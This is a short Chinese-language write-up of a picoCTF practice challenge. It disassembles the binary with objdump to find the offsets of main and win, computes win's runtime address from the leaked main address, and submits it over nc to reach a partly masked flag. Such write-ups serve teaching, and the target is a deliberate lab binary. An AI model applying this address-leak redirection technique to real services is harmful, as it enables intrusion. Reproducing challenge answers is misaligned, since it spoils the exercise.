題目連結
https://learn.cylabacademy.org/library/490
題目解法
下載原始碼後可以知道有一個
win()函式,下載執行檔後進行使用objdump進行反組譯。反組譯後可以找到win和main的位址。objdump -d vuln... 00000000000012a7 <win>: 12a7: f3 0f 1e fa endbr64 12ab: 55 push %rbp 12ac: 48 89 e5 mov %rsp,%rbp 12af: 48 83 ec 10 sub $0x10,%rsp ... 000000000000133d <main>: 133d: f3 0f 1e fa endbr64 1341: 55 push %rbp 1342: 48 89 e5 mov %rsp,%rbp 1345: 48 83 ec 20 sub $0x20,%rsp 1349: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax ...使用
nc連線進去後會提供main的位址,可以反推出win的位址,輸入後即可得到 flag。webshell:~$ nc rescued-float.picoctf.net 62616 Address of main: 0x61151072133d Enter the address to jump to, ex => 0x12345: 0x6115107212a7 Your input: 6115107212a7 You won! picoCTF{b4s------------------------------eb8} ```